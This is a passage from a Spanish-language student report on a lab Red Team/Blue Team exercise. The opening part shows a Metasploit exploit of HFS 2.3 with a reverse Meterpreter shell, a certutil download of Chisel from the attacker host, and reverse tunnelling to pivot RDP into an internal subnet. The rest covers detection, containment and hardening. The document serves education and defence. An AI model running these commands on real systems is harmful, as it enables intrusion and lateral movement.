445/tcp open microsoft-ds Windows 7 SP1 SMB
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3389/tcp open ms-wbt-server Remote Desktop Protocol
Hallazgos
HFS 2.3 expuesto en el puerto 8080 (software vulnerable a RCE — CVE-2014-6287).
DarkComet RAT escuchando en el puerto 1604, indicando una infeccion activa.
RDP (3389) habilitado.
SMB (445) disponible para consultas complementarias.
Estos datos permiten concluir que la maquina es vulnerable y que puede comprometerse
usando el exploit de HFS. (Holmsecurity, s.f.)
Explotacion del HFS 2.3 (RCE) desde Metasploit, se utilizé el modulo oficial de
Metasploit:
use exploit/windows/http/rejetto_hfs exec
set RHOSTS 192.168.1.19
set RPORT 8080
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.21
run
[*] Started reverse TCP handler on 192.168.1.21:4444
[*] Target appears to be vulnerable.
[*] Sending malicious payload...
[*] Meterpreter session I opened
Se obtiene sesion Meterpreter en Host A (192.168.1.19).
Validacioén del sistema comprometido (Windows 7)
Una vez en meterpreter, se ejecutan comandos de reconocimiento

sysinfo



getuid

ipconfig

net user

net localgroup administrators

Computer: PC202006

OS: Windows 7 SP1

Architecture: x64

User: PC202006\usuario

whoami /priv

SelmpersonatePrivilege: Enabled

Para habilitar el pivoting hacia la red 10.0.2.x, se transfirié Chisel hacia la Maquina 1
usando certutil.

Comando ejecutado En la maquina Windows comprometida:
certutil -urlcache -f http://192.168.1.21/chisel win7 amd64.exe chisel.exe
sk Opline *%kk
CertUtil: -URLCache command completed successfully.

En la maquina atacante:
chisel server -p 9001 --reverse
server: Reverse tunnelling enabled
server: Listening on http.//0.0.0.0:9001

Ejecucion del cliente Chisel en la Maquina 1

En Windows (192.168.1.19):

Achisel.exe client 192.168.1.21:9001 R:8000:10.0.2.3:3389

client: Connected (Latency 1.9ms)
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client: Listening on 127.0.0.1:8000
El atacante podia acceder desde ParrotOS a 10.0.2.3:3389, aunque dicha red no es accesible
directamente, el tunel expone el RDP de la Maquina 2 hacia el atacante a través de
localhost:8000.
Validacion del pivoting hacia la Maquina 2 (10.0.2.3)
Desde ParrotOS:
xfreerdp /v:10.0.2.4:8000 /u:usuario
O prueba simple:
telnet 70.0.2.4 8000
Trying 10.0.2.4...
Connected to 10.0.2.4.
RDP protocol detected.
El pivoting fue exitoso. Aunque la Maquina 2 estaba aislada en la red interna 10.0.2.0/24,

se logro acceso remoto mediante un tinel generado desde la Maquina 1.

Etapa 4 Respuesta y Contencion

Indagaciones y primeros pasos para el ataque en tiempo real

Ante un ataque en tiempo real sobre la maquina Windows considerando el escenario, lo
primero que un Blue Team debe indagar y ejecutar es una combinacion de verificacion del
ataque y de contencion inmediata, priorizando evidencia volatil y evitando que el atacante
contintie avanzando.

A. Aislar la maquina del atacante y confirmar qué esta sucediendo
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Indagacion técnica inmediata (evidencia volatil) en tiempo real (sin apagarla ni
reiniciarla)
Primer paso: Antes de cualquier accion invasiva, un Blue Team debe entender ;Qué
conexiones estan activas en este momento?
El informe evidencia que el atacante estaba usando:
e Chisel: tinel reverso hacia 192.168.1.21:9001
e DarkComet RAT en 1604/tcp
e HFS vulnerable en 8080/tcp
e Posible RDP a través del tunel hacia 10.0.2.3
A nivel técnico el primer comando a ejecutar seria:
netstat -ano | findstr "ESTABLISHED"
Con esto se detectaria conexiones persistentes hacia el atacante, puertos abiertos
relacionados con la explotacion, cargado de procesos sospechosos que facilitan pivoting o
exfiltracion, debido a que esta informacion es volatil y se pierde al reiniciar, por eso se debe

consultar primero.

Segundo paso: Validar ;Qué procesos estan corriendo y cual de ellos origino las
conexiones? por ejemplo podemos ejecutar el siguiente comando
tasklist /v
wmic process get Processld,CommandLine, ExecutablePath
Esto permitiria confirmar:
o chisel.exe ejecutandose (pivoting)
e procesos de DarkComet (RAT activo)

o comandos provenientes de la explotacion del HFS
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Esta evidencia permitiria ratificar los hallazgos del informe, donde se encontr6 un RAT
activo y un tunel reverso habilitado.
Tercer paso: Validar ;Existe actividad de red inesperada? (posible exfiltracion), antes de
bloquear trafico o matar procesos, es vital saber:

e Si hay envio de grandes cantidades de datos

e Si se estan abriendo puertos internos no autorizados

e Si el atacante esta realizando movimientos laterales a la red 10.0.2.x

Por ejemplo, podemos capturar trafico en tiempo real, a nivel técnico podriamos usar el
siguiente comando

tepdump -i ethQ -w incidente.pcap

Este comando captura todo el trafico de red que pasa por una interfaz y lo guarda en un
archivo PCAP para analisis posterior, esto seria viable si lo hacemos desde un equipo Linux del
Blue Team, como Parrot OS, para nuestro caso en particular seria:

sudo tcpdump -i eth0 host 192.168.1.19 -w incidente.pcap

Por otra parte desde el equipo Windows la herramienta mas eficiente y con licencia
abierta para capturar paquetes es Wireshark, que utiliza el driver Npcap para interceptar
trafico en tiempo real. (De Luz, 2025)

(Qué permite hacer Wireshark en un incidente activo?

. Capturar trafico en vivo de todas las interfaces de red (Ethernet, WiFi, tineles).
. Registrar en un archivo pcapng la evidencia para analisis forense.

. Filtrar conexiones sospechosas (por ejemplo las usadas por el atacante).

. Identificar transferencia de archivos, comandos remotos, RATs y tuneles.

o Visualizar patrones de comunicacion anémalos como:

conexiones persistentes
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flujos de datos hacia direcciones externas
protocolos o puertos no autorizados
En el contexto de SecureNova Labs, Wireshark es critico para evaluar si la maquina atacada
192.168.1.19 estd comunicandose con:
Chisel (tanel reverso hacia 192.168.1.21:9001)
DarkComet RAT (1604/tcp)
En Windows también podemos revisar patrones de WebSocket utilizados por Chisel
Chisel, la herramienta usada por el atacante para pivoting, se comunica mediante
WebSockets, una tecnologia que encapsula trafico bidireccional dentro de un tinel HTTP(s).
(IETF Datatracker, 2011)

Es importante revisar este aspecto en un ataque, porque no parece trafico malicioso a
simple vista, y puede confundirse con navegacién normal, por lo que el Blue Teams debe
identificar patrones especificos.

Algunos filtros utiles en Wireshark para detectar el tinel de Chisel
o Filtrar por puertos sospechosos (ej. 9001):
tep.port == 9001
o Filtrar trafico hacia la IP del atacante:
ip.addr ==192.168.1.21
 Filtrar por actividad del tunel reverso:

websocket && tcp.connection.rtt

Estos filtros permiten identificar inmediatamente:
e Siel tinel sigue activo
e Si hay transferencia de datos

o Si el atacante esta pivotando hacia la red interna
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Un indicador inmediato de pivoting es precisamente el trafico WebSocket generado por
Chisel, por eso, revisarlo con Wireshark es una de las primeras acciones defensivas criticas.

El uso de Wireshark para identificar patrones WebSocket asociados al tinel reverso de
Chisel permite mapear la actividad del atacante a técnicas especificas del marco MITRE
ATT&CK, entre ellas T1071.001 (Web Protocols), T1572 (Protocol Tunneling), T1021.001
(RDP para movimiento lateral), T1105 (Ingress Tool Transfer) y T1210 (Explotacion de
servicios remotos como HFS 2.3). Esto confirma que el atacante utiliza canales encapsulados
para Command & Control y pivoting hacia segmentos internos, técnica observable directamente
en la captura de paquetes del host comprometido.

B. Contencion inmediata

Una vez verificada la actividad maliciosa, lo siguiente es impedir que el atacante continte su

operacion sin destruir evidencia critica.

Aislar la maquina de la red (ideal a nivel perimetral)

Bloquear trafico hacia 192.168.1.21:9001

o Bloquear puertos 8080 y 1604

o Bloquear conexiones salientes sospechosas

Esto evita que el atacante:

e Mantenga el tinel reverso

e Contintie pivotando hacia 10.0.2.3

e Siga usando DarkComet para espionaje

El informe indica que el pivoting solo funcionaba si el tiinel seguia activo, por lo que si se lo
bloquea, el atacante queda fuera de la red interna inmediatamente, en este escenario es
importante mantener la maquina encendida ya que apagar la maquina destruiria:

e (Conexiones activas
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e Procesos en memoria (RAT, chisel, payloads)

e Artefactos volatiles

e Evidencias de comandos usados por el atacante

Consideramos que en esta fase la evidencia mas valiosa estd en memoria, y se puede perder
si se apaga el sistema, el atacante ya demostré capacidad de:

o obtener shell remota (HFS RCE),

e c¢jecutar RAT (DarkComet),

e hacer pivoting (Chisel),

e alcanzar otra subred interna (10.0.2.0/24).

El movimiento lateral estd en curso, por lo que la prioridad es romper su conectividad, no
“limpiar” la maquina todavia, también se debe garantizar la cadena de custodia para un posterior
analisis forense.

En resumen lo primero que indagaria son las conexiones activas, procesos en ejecucion y
actividad de red en tiempo real, ya que esto revela como el atacante esta interactuando con la
maquina (RAT, tuneles reversos, puertos abiertos, etc.) y seguidamente aislar la maquina de la
red SIN apagarla, bloqueando IP y puertos utilizados por el atacante, preservando evidencia
volatil y evitando que contintie el movimiento lateral o la exfiltracion.

Medidas de hardenizacion para evitar repeticion del ataque

Para evitar que un ataque como el ocurrido en la actividad de Red Team vuelva a
presentarse, es necesario aplicar un conjunto de medidas de hardenizacién del sistema operativo,
del entorno de red y de la arquitectura general. (Chindru, 2023).

Estas medidas deben neutralizar los vectores explotados: vulnerabilidad RCE en HFS,
malware DarkComet, uso indebido de herramientas nativas (certutil), tunneling con Chisel y

movimiento lateral hacia redes internas.
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Actualizacion y parcheo inmediato del sistema
El equipo comprometido es un Windows 7, sistema sin soporte y altamente vulnerable,
este debe migrarse a Windows 10/11 o una version con soporte vigente, aplicar politicas de
actualizacion automatica (WSUS, GPO o manual programado).
Impacto: elimina vulnerabilidades explotables como la de HFS (CVE-2014-6287) y
reduce la superficie de ataque.
A. Fortalecer Sistema Operativo
Eliminar software vulnerable o innecesario
Desinstalar completamente HFS 2.3, ya que es un software obsoleto y con RCE critico,
revisar todos los servicios instalados y eliminar aplicaciones no autorizadas.
Impacto: elimina el vector inicial de ejecucion remota de comandos.
Restringir ejecucion de binarios mediante AppLocker o SRP
Configurar reglas para permitir inicamente:
o Ejecutables firmados por Microsoft
e Software corporativo aprobado
Bloquear explicitamente:
o certutil.exe
o powershell.exe en modo no interactivo
o Ejecutables descargados desde Internet
o Directorios temporales (AppData\Local\Temp)
Impacto: previene la descarga y ejecucion de herramientas como chisel.exe, payloads o
RATsS.
Endurecimiento del firewall local

Configurar reglas estrictas:



o Bloquear puertos no autorizados (8080, 1604, 9001, etc.)
e Permitir solo salidas a puertos necesarios (80, 443, DNS).
o Bloquear conexiones reversas y WebSocket hacia IPs externas.
Impacto: corta canales C2, tineles reversos y exfiltracion.
Activar politicas de auditoria y registro
Aumentar la visibilidad activando y dando seguimiento a los eventos del Visor de
Eventos de Windows (Windows Event Logs).
e Auditoria de procesos (4688)
e Conexiones de red (5156)
o Persistencia (7045)
e Ejecucion de scripts (4104)
Impacto: permite detectar RATs, tiineles y herramientas cargadas en memoria.
B. Hardenizacion de Red
Segmentar adecuadamente las redes internas
En el ejercicio, la maquina Windows podia ver las siguientes IP, esto permiti6 el
pivoting.
e 192.168.1.0/24
e 10.0.2.0/24
Acciones:
e Separar redes por VLANs con reglas explicitas.
e Prohibir hosts “multi-homed” (dos interfaces) sin firewall intermedio.
e Aplicar filtrado entre subredes (ACLs, firewall interno).
Impacto: evita movimiento lateral como el ejecutado con Chisel hacia 10.0.2.3.

Implementar IDS/IPS de software libre
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Ejemplos:
e Suricata
e Snort

Configurar firmas para detectar:
e WebSockets sospechosos
e DarkComet RAT
e Trafico C2
e Descarga de binarios via certutil
Impacto: identifica actividad maliciosa y puede bloquear automaticamente.
Puerto espejo / monitoreo continuo del triafico
Configurar SPAN o mirror en el switch para capturar trafico de:
e Hosts criticos
e Trafico entre VLANs
e (2 sospechoso
Impacto: permite detectar pivoting antes de que avance la intrusion.
C. Hardenizacion contra malware y herramientas del atacante
Implementar EDR / HIDS de codigo abierto
Opciones libres:
e Wazuh
e Sysmon + SIEM abierto (Elastic)
Wazuh es una plataforma de seguridad gratuita y de codigo abierto que combina funciones de
SIEM (gestion de informacion y eventos de seguridad) y XDR (deteccion y respuesta extendida)

para proteger sistemas y datos contra ciberamenazas. (Wazuh, 2025)
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Sysmon es una herramienta gratuita de monitorizacion de sistemas de Microsoft que registra
detalladamente la actividad del host, como la creacioén de procesos, conexiones de red y
modificaciones en el registro, en el Visor de eventos de Windows. Es una herramienta de codigo
abierto y gratuita, pero requiere configuracion y gestion por parte del usuario, sin soporte técnico
de Microsoft. (Sala, 2025)

Elastic SIEM es una solucion de seguridad que combina funcionalidades de Gestion de
Informacion y Eventos de Seguridad (SIEM) con otras herramientas de seguridad en una
plataforma unificada. Su objetivo es proporcionar a los equipos de seguridad visibilidad en
tiempo real, deteccion automatizada de amenazas, analisis y respuesta a incidentes. (Cynet,
2025)

Esto permitiria:

e Deteccion en tiempo real de comportamientos andémalos

e Alertas por creacion de procesos maliciosos

e Monitoreo de actividad de red inusual

Impacto: detecta ejecucion de RATs como DarkComet y tineles como Chisel.
Proteccion contra RATSs y persistencia
Configurar:

e Bloqueo de creacion de servicios no autorizados

e Restriccion de Run y RunOnce en el registro

e Monitorizaciéon de DLLs sospechosas

Impacto: impide que el atacante obtenga persistencia tras la explotacion inicial.
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D. Politicas corporativas y controles organizacionales
Control de software permitido (whitelisting): Establecer un inventario de aplicaciones
autorizadas.
Capacitacion del personal técnico
Para identificar: Exposicion de servicios vulnerables e Indicadores de compromiso
(IoCs), abuso de herramientas nativas
Retiro progresivo de sistemas sin soporte
En resumen, las medidas de hardenizacion deben centrarse en:
e Eliminar software vulnerable
e Aplicar segmentacion real de la red
e Evitar ejecuciones no autorizadas
e Controlar salidas de red (firewall)
e Monitoreo continuo
e Parchar y actualizar el sistema operativo
Con estas medidas integradas, se impide que el atacante vuelva a:
e Explotar servicios vulnerables
e Instalar RATs
e C(Crear tineles reversos
e Realizar movimiento lateral

e Exfiltrar informacion
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Comparacion entre un equipo Blue Team y un equipo de Respuesta a Incidentes
Aunque ambos trabajan en la defensa de la organizacion, no cumplen el mismo rol ni
actiian en los mismos momentos del ciclo de seguridad. Sus funciones se complementan, pero
son distintas.
Enfoque de equipo Blue Team
Su enfoque es proactivo y preventivo, su mision es fortalecer la seguridad de la
organizacion para evitar que un ataque ocurra o tenga impacto, se encarga de:
e Hardening de sistemas
e Monitoreo continuo
e Deteccion temprana
e Configuracion de firewalls, IDS/IPS
e Gestion de vulnerabilidades
Su objetivo principal es reducir la superficie de ataque.
Enfoque de equipo de Respuesta a Incidentes
Su enfoque es reactivo y correctivo, es decir que actia cuando el ataque ya estéa
ocurriendo o ya ocurrid y se encarga de:
o Contener el ataque
e Erradicar al atacante
e Analizar impacto
e Recuperar servicios
o Realizar andlisis forense
e Documentar el incidente
e Coordinar respuesta con otras areas

Su objetivo principal es detener el ataque, minimizar dafio y restaurar la normalidad.



El momento en el que actian se podria resumir en la siguiente tabla

Tabla 4

Momentos de actuacion ataques equipo Blue y Respuesta Incidentes

Fase

Blue Team

Equipo de Respuesta a Incidentes

Antes del ataque

Prevencion

Durante el ataque

Deteccion y alerta

Contencion y mitigacion

Después del ataque

Ajustes y mejoras

Andlisis forense y lecciones aprendidas

Nota: Relacion de fases y la respuesta a incidentes del equipo Blue

Actividades principales Blue Team

Configura firewalls, EDR, IDS/IPS.

Endurece sistemas (hardenizacion).

Gestiona vulnerabilidades.

Monitorea logs y eventos.

Crea reglas de deteccion.

Hace simulaciones defensivas.

Mantiene la seguridad dia a dia.

Actividades principales equipo de respuesta a incidentes

Analiza trafico sospechoso en tiempo real.

Aisla maquinas comprometidas.

Contiene tuneles reversos, RATSs, malware.

Realiza analisis forense de memoria y disco.

Coordina comunicacion del incidente.

Evaltia impacto y recomienda acciones de recuperacion.
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Un equipo Blue Team se encarga de las acciones preventivas y de defensa continua dentro de
la organizacion, su funcion principal es fortalecer la infraestructura tecnologica mediante
hardenizacion, monitoreo, gestion de vulnerabilidades y configuracion de controles de seguridad
para evitar que los ataques ocurran o tengan impacto.

Por otro lado, un equipo de Respuesta a Incidentes actua de forma reactiva, atendiendo
eventos cuando un ataque ya esta en curso o se ha materializado, su labor consiste en contener la
amenaza, analizar el incidente, erradicar al atacante, recolectar evidencia y coordinar la
recuperacion de los servicios afectados.

En resumen, podriamos decir que el Blue Team previene y detecta, mientras que el equipo de
Respuesta a Incidentes contiene, analiza y recupera durante y después de un ataque informatico.
Uso del CIS “Center For Internet Security” dentro de Blue Team

Dentro de un equipo Blue Team, el CIS (Center for Internet Security) se utilizaria
principalmente como una guia formal para hardenizar, asegurar y estandarizar la configuracion
de sistemas, redes y servicios, considerando que los recursos mas importantes del CIS son los
CIS Controls y los CIS Benchmarks, los cuales proporcionan recomendaciones detalladas y
priorizadas para reducir riesgos y fortalecer la postura de seguridad. (Center for Internet
Security, 2021).

En términos practicos, emplearia el CIS para:

e Aplicar configuraciones seguras (hardening) en sistemas operativos, servidores,

dispositivos de red y aplicaciones.

e Estandarizar politicas de seguridad con base en marcos reconocidos internacionalmente.

e Evaluar el nivel de seguridad actual comparandolo con las mejores practicas establecidas.

e Reducir la superficie de ataque mediante controles prioritarios, especialmente los CIS

Critical Security Controls.
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e QGuiar auditorias internas para verificar cuamplimiento y detectar configuraciones débiles.

Dentro de un Blue Team, el CIS es una herramienta fundamental para implementar buenas
practicas, fortalecer la infraestructura tecnologica y garantizar configuraciones seguras que
prevengan ataques como el evidenciado en el ejercicio de Red Team.
SIEM - Funciones y caracteristicas

Un SIEM (Security Information and Event Management) es una plataforma integrada que

permite a las organizaciones centralizar, correlacionar y analizar los eventos de seguridad
provenientes de diferentes sistemas, con el fin de detectar amenazas, responder a incidentes y
cumplir con requisitos de auditoria. (Cynet, 2025).
Funciones principales de un SIEM
Recoleccion centralizada de logs

El SIEM recopila de manera automatica los registros generados para unificar toda la
informacion de seguridad en un solo punto, toma los datos de:

o Sistemas operativos

o Firewalls, IDS/IPS

e Aplicaciones corporativas

o Servidores y bases de datos

e Equipos de red

o Herramientas de seguridad (EDR, antivirus, WAF, etc.)
Correlacion de eventos

El SIEM analiza los datos recolectados para identificar patrones anomalos o secuencias

de ataque, por ejemplo: un inicio de sesion fallido, la ejecucion de un proceso sospechoso, una

conexion a un puerto inusual, que pueda traducirse en posible intrusiéon, como funcion claves es
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la de detectar amenazas que no serian visibles si los eventos se analizaran por separado.
(Huntress, 2024).
Deteccion y alertamiento en tiempo real
El SIEM genera alertas automaticas cuando identifica ciertos comportamientos y permitir
una respuesta rapida del Blue Team o del CSIRT, en este sentido revisa:
e Indicadores de compromiso (IoCs)
e Técnicas MITRE ATT&CK
e Regla de correlacion existente
e Actividades andomalas respecto al comportamiento normal
Analisis forense y busqueda historica
Un SIEM almacena grandes voliumenes de datos en el tiempo, lo cual permite, revisar
incidentes ya ocurridos, reconstruir la linea de tiempo de un ataque, identificar la fuente de una
intrusion, o analizar impacto y alcance, esto permite contar con un soporte adecuado para una
investigacion forense digital. (Group-IB, s.f.)
Cumplimiento normativo
También es relevante considerar que un SIEM ayuda a cumplir marcos como ISO 27001,
GDPR, PCI-DSS o estandares gubernamentales, ya que mantiene registros completos, facilita
auditorias y garantiza trazabilidad de eventos criticos, estos elementos hacen que se tenga en
funcion de un soporte documental y de auditoria.
Caracteristicas principales de un SIEM
o Centralizacion
Todos los logs de la organizacion se concentran en un unico sistema.
o Normalizacion de datos

Convierte logs de multiples formatos a un formato estandarizado para su analisis.
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e Correlacion avanzada
Relaciona diferentes tipos de eventos para identificar amenazas complejas.
o Dashboards e informes
Ofrece visualizaciones en tiempo real para monitorear la seguridad.
e Automatizacion
Puede ejecutar acciones automaticas ante incidentes, como:
o bloquear IPs
o generar tickets
o enviar alertas automatizadas al equipo de seguridad
e Escalabilidad
Permite manejar grandes volumenes de datos conforme crece la organizacion.
o Integracion con multiples tecnologias

Se conecta con firewalls, EDR, servidores, dispositivos de red, aplicaciones, etc.

Un SIEM es una herramienta esencial para el Blue Team porque centraliza la
informacion, detecta amenazas en tiempo real, permite correlacion avanzada de eventos y facilita
el analisis forense, ayudando a responder y prevenir incidentes de seguridad.

Herramientas de contencion de ataques informaticos
Firewall de Préoxima Generacion (NGFW)
Tipo: Hardware/Software
Ejemplos: FortiGate, Palo Alto, pfSense

Un NGFW permite aplicar reglas de bloqueo inmediato contra trafico malicioso, cortar
conexiones activas de un atacante y restringir puertos, servicios y direcciones IP no autorizadas.
Su capacidad de filtrar aplicaciones, cerrar sesiones y controlar el trafico lateral lo convierte en

una herramienta de contencion fundamental. (Cisco, 2025)
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Acciones de contencion:
e Bloqueo de C2 y tuneles reversos.
e Cierre inmediato de sesiones maliciosas.
e Segmentacion y aislamiento por zonas.
e Prevencion de propagacion a otros segmentos.
Firewall de Host / Aislamiento de Endpoint
Tipo: Software
Ejemplos: Windows Defender Firewall, iptables/nftables, UFW
Este tipo de firewall se ejecuta directamente en el sistema operativo del endpoint. Permite
bloquear todo el trafico no autorizado y poner la maquina en “modo cuarentena” sin necesidad
de desconectarla fisicamente. (Palo Alto Networks, s. f.).
Acciones de contencion:
e Aislar equipos comprometidos.
e Bloquear comunicacion saliente del malware.
e Evitar movimiento lateral desde el host afectado.
e Interrumpir procesos que intentan comunicarse con el atacante.
Segmentacion mediante VLANs y ACLs en Switches Gestionables
Tipo: Hardware
Ejemplos: Cisco Catalyst, Aruba, Mikrotik
La segmentacion de red limita la propagacion del ataque al dividir la infraestructura en
segmentos independientes. (Cloudflare, 2023). Las ACLs permiten restringir qué VLAN puede
comunicarse con otra, mientras que las VLANs de cuarentena permiten confinar equipos
sospechosos sin desconectarlos.

Acciones de contencion:
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e Reubicar equipos comprometidos en VLAN de aislamiento.
e Bloquear trafico L2/L3 hacia sistemas criticos.
e Reducir la superficie de movimiento lateral.
e Aislar servicios afectados sin detener otros segmentos.
EDR (Endpoint Detection and Response) — Modulos de Respuesta y Aislamiento
Tipo: Software
Ejemplos: CrowdStrike Falcon, Microsoft Defender for Endpoint, SentinelOne, Wazuh (open
source + modulos EDR)

Segun Fortinet, aunque un EDR contiene capacidades de deteccion, sus modulos de
respuesta activa se consideran herramientas de contencion, un EDR puede aislar un endpoint,
detener procesos maliciosos en tiempo real, bloquear comunicaciones sospechosas y enviar
archivos a cuarentena, estas funciones permiten frenar el ataque directamente desde el host
afectado. (Fortinet, 2025).

Acciones de contencion:

e Aislamiento del endpoint, bloqueando todo el trafico excepto gestion.
e Detener procesos maliciosos (payloads, RATs, tuneles).

e Interrumpir conexiones de red asociadas al atacante.

e Cuarentena de archivos sospechosos para evitar ejecucion posterior.

e Reversion de cambios (segun el EDR usado).

Se considera como contencion ya que actiia directamente sobre el equipo comprometido
para cortar el ataque, limitar la propagacion, y evitar la exfiltracion o el control remoto del

adversario
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Evidencias de Sustentacion
En cumplimiento de los requisitos de la Etapa 5 del Seminario Especializado, se presenta
el video de sustentacion disponible en el siguiente enlace:

Video de sustentacion del informe final: https://youtu.be/tMpTDz5DWvA



https://youtu.be/rMpTDz5DWvA
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Conclusiones

El analisis conjunto de los aspectos legales, éticos y técnicos demuestra que la
ciberseguridad no puede abordarse inicamente desde una perspectiva operativa. Las leyes
colombianas, especialmente la Ley 1273 de 2009 y la Ley 1581 de 2012, constituyen un marco
indispensable que orienta las actividades ofensivas y defensivas, y garantizan que las actuaciones
del profesional se realicen dentro de los limites de la legalidad y el respeto por los derechos de
los usuarios y las organizaciones.

Las actividades ofensivas del Red Team evidenciaron la importancia de una correcta
gestion de vulnerabilidades y la necesidad de fortalecer la superficie de ataque de los sistemas.
La explotacion exitosa de servicios vulnerables, el uso de un RAT, la creacion de tuneles
reversos y el movimiento lateral demostraron que errores de configuracion, falta de parches o
mecanismos débiles de segmentacion pueden facilitar la intrusidon y el compromiso total de la
infraestructura.

Las acciones del Blue Team confirmaron que la deteccion temprana y la contencion
oportuna son factores decisivos para limitar el impacto de un ataque. El monitoreo de eventos, la
revision de trafico, la identificacion de indicadores de compromiso y la preservacion de
evidencia digital permitieron entender como las técnicas defensivas pueden interrumpir la cadena
de ataque y reducir significativamente el dafio.

La integracion de herramientas y metodologias utilizadas por ambos equipos permite
construir una vision holistica del ciclo de vida de un incidente. El contraste entre las tacticas
empleadas por el atacante y los mecanismos de defensa evidencio la necesidad de modelos de
seguridad basados en Zero Trust, segmentacion robusta, autenticacion reforzada y monitoreo

continuo. (Basta, 2021).
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El ejercicio demostro que la colaboracion estructurada entre Red Team y Blue Team es
esencial para mejorar la madurez de seguridad organizacional. El analisis cruzado de hallazgos,
la documentacioén técnica y la retroalimentacion entre equipos fortalecen la capacidad
institucional para anticipar, resistir y recuperarse de incidentes de ciberseguridad.

Finalmente, los resultados obtenidos resaltan la necesidad de adoptar una postura de
seguridad proactiva. Tanto las practicas ofensivas como defensivas deben integrarse en un ciclo
permanente de evaluacion, mejora y actualizacion, dado que las amenazas evolucionan

constantemente y los controles deben adaptarse para mantener la resiliencia de los sistemas.
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Recomendaciones

Fortalecer el cumplimiento normativo y la formacion ética del personal de
ciberseguridad, asegurando que todas las actividades ofensivas y defensivas se ejecuten dentro
del marco legal colombiano y en coherencia con los principios del Cédigo de Etica Profesional.
Se recomienda establecer capacitaciones periodicas sobre legislacion, responsabilidad
profesional y manejo adecuado de evidencia digital.

Implementar un programa continuo de gestiéon de vulnerabilidades que incluya escaneos
frecuentes, analisis de exposicion, priorizacion basada en riesgo y aplicacion oportuna de
parches. La explotacion exitosa evidenciada en las practicas del Red Team resalta la necesidad
de mantener sistemas actualizados y con configuraciones seguras.

Adoptar modelos de seguridad basados en Zero Trust y segmentacion de red, limitando
movimientos laterales y minimizando el impacto de posibles intrusiones. Esto implica reforzar el
control de accesos, implementar autenticacion multifactor, aplicar listas de control de acceso
(ACLs) y segmentar adecuadamente entornos criticos.

Fortalecer la capacidad de deteccion temprana mediante herramientas de monitoreo,
IDS/IPS y SIEM, especialmente aquellas que permiten correlacion de eventos y analisis
avanzado de comportamiento. Un monitoreo continuo y centralizado incrementa la capacidad de
identificar anomalias antes de que se concreten compromisos mayores.

Estandarizar un proceso formal de respuesta a incidentes que incluya protocolos claros de
contencidn, erradicacion, recuperacion y comunicacion. Esto debe complementarse con
simulaciones periodicas (tabletop exercises) que permitan evaluar la efectividad del plan y la

coordinacién entre equipos.
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Mejorar la trazabilidad y manejo de evidencia digital, asegurando su correcta
preservacion para analisis forense y posibles procesos legales. Las organizaciones deben
implementar procedimientos de cadena de custodia, registros detallados de acciones y
herramientas autorizadas para adquisicion de evidencia.

Fortalecer la cultura de seguridad al interior de la organizacion, promoviendo buenas
practicas entre empleados, campafias de concientizacidon y protocolos claros sobre manejo seguro
de la informacion. La seguridad no debe recaer inicamente en equipos técnicos, sino convertirse
en un compromiso institucional.

Evaluar periédicamente la madurez de seguridad utilizando marcos reconocidos como
CIS Controls, NIST CSF o MITRE ATT&CK, lo cual permite identificar brechas y priorizar

acciones estratégicas de mejora orientadas a la resiliencia.
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